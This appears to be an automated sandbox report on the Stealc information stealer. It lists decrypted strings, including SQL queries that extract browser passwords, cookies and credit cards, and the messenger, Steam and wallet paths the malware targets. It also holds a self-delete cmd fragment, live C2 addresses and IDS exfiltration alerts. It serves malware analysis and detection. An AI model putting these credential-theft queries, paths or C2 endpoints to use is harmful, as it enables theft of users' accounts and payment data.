Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: gdiplus.dll
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: ole32.dll
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: bcrypt.dll
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: wininet.dll
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: shlwapi.dll
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: shell32.dll
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: rstrtmgr.dll
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: SelectObject
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: BitBlt
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: DeleteObject
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: CreateCompatibleDC
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GdiplusStartup
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GdiplusShutdown
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GdipDisposeImage
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GdipFree
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: CoUninitialize
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: CoInitialize
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: CoCreateInstance
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: BCryptDecrypt
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: BCryptSetProperty
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: BCryptDestroyKey
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetWindowRect
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetDesktopWindow
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetDC
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: CloseWindow
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: wsprintfA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: CharToOemW
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: wsprintfW
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: RegQueryValueExA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: RegEnumKeyExA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: RegOpenKeyExA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: RegCloseKey
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: RegEnumValueA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: CryptUnprotectData
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: SHGetFolderPathA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: ShellExecuteExA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: InternetOpenUrlA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: InternetConnectA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: InternetCloseHandle
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: HttpSendRequestA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: HttpOpenRequestA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: InternetReadFile
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: InternetCrackUrlA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: StrCmpCA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: StrStrA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: StrCmpCW
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: PathMatchSpecA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: RmStartSession
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: RmRegisterResources
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: RmGetList
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: RmEndSession
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: sqlite3_open
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: sqlite3_step
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: sqlite3_column_text
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: sqlite3_finalize
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: sqlite3_close
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: sqlite3_column_blob
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: encrypted_key
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: PATH
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: NSS_Init
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: NSS_Shutdown
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: PK11_FreeSlot
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: PK11_Authenticate
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: C:\ProgramData\
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: browser:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: profile:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: url:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: login:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: password:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Opera
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: OperaGX
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Network
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: cookies
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: .txt
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: TRUE
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: FALSE
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: autofill
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: history
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: cc
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: name:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: month:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: year:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: card:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Cookies
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Login Data
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Web Data
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: History
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: logins.json
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: formSubmitURL
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: usernameField
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: encryptedUsername
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: encryptedPassword
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: guid
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: cookies.sqlite
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: formhistory.sqlite
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: places.sqlite
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: plugins
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Local Extension Settings
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Sync Extension Settings
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: IndexedDB
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Opera Stable
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Opera GX Stable
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: CURRENT
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: chrome-extension_
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Local State
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: profiles.ini
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: chrome
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: opera
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: firefox
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: wallets
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: ProductName
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: x32
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: x64
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: DisplayName
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: DisplayVersion
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Network Info:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: - IP: IP?
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: - Country: ISO?
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: System Summary:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: - HWID:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: - OS:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: - Architecture:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: - UserName:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: - Computer Name:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: - Local Time:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: - UTC:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: - Language:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: - Keyboards:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: - Laptop:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: - Running Path:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: - CPU:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: - Threads:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: - Cores:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: - RAM:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: - Display Resolution:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: - GPU:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: User Agents:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Installed Apps:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: All Users:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Current User:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Process List:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: system_info.txt
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: freebl3.dll
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: mozglue.dll
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: msvcp140.dll
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: nss3.dll
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: softokn3.dll
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: vcruntime140.dll
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: \Temp\
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: .exe
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: runas
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: open
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: /c start
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: %DESKTOP%
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: %APPDATA%
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: %USERPROFILE%
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: %DOCUMENTS%
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: %RECENT%
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: *.lnk
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: files
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: \discord\
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: \Telegram Desktop\
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: key_datas
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: map*
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Telegram
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Tox
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: *.tox
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: *.ini
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Password
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: 00000001
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: 00000002
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: 00000003
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: 00000004
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Pidgin
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: \.purple\
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: accounts.xml
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: token:
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Software\Valve\Steam
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: SteamPath
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: \config\
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: ssfn*
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: config.vdf
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: DialogConfig.vdf
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: libraryfolders.vdf
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: loginusers.vdf
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: \Steam\
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: sqlite3.dll
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: done
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: soft
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: https
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: POST
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: HTTP/1.1
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: hwid
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: build
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: token
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: file_name
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: file
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: message
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 30.0.stealc_main1.exe.770000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB26C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6CB26C80

Source: 2bb39d7142.exe, 0000001F.00000003.2709941051.0000000007442000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_c91541fa-e

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.9:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.9:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.9:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.231.128.67:443 -> 192.168.2.9:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.9:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.9:49843 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2015395642.000000006CD4F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2015395642.000000006CD4F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.9:49707 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.9:49707 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.9:49707
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.9:49707 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.9:49707
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.9:49707 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.9:49922 -> 31.177.109.184:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.9:49903 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.9:49910
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49927 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.9:49959 -> 185.215.113.43:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 15:50:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 